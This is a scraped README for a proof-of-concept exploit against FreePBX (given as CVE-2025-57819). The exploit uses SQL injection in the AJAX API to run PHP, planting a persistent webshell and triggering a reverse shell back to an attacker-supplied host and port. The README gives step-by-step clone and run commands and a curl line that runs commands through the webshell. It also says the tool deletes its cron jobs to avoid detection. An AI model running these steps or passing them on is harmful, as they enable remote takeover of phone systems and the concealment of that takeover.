jasonbernier/cve-2025-5781Proof-of-concept exploit for CVE-2025-57819 in FreePBX: SQL injection in the AJAX API to execute arbitrary PHP, create a persistent webshell, and trigger a reverse shell.
This script exploits a vulnerability in FreePBX versions prior to 16.0.26.0 (CVE-2025-57819), allowing remote attackers to execute arbitrary PHP code via a SQL injection flaw in the AJAX API endpoint. The exploit creates both a webshell and an auto-triggered reverse shell.
/admin/ajax.php)/pbxshell.phprequests librarygit clone https://github.com/jasonbernier/CVE-2025-5781.git
cd CVE-2025-5781
pip install requests
python3 exploit.py -H TARGET_HOST -lhost LHOST -lport LPORT
-H HOST: Target FreePBX instance (e.g., https://freepbx.example.com)-lhost LHOST: Your IP for reverse shell callback-lport LPORT: Port for reverse shell connectionpython3 exploit.py -H https://target.freepbx.com -lhost 10.0.0.1 -lport 4444
After successful exploitation, access the webshell via:
curl -X GET "http://TARGET/pbxshell.php?cmd=id"
The exploit automatically removes cron jobs after execution to avoid detection.
-- to comment out remaining SQL syntax/var/www/html/ directory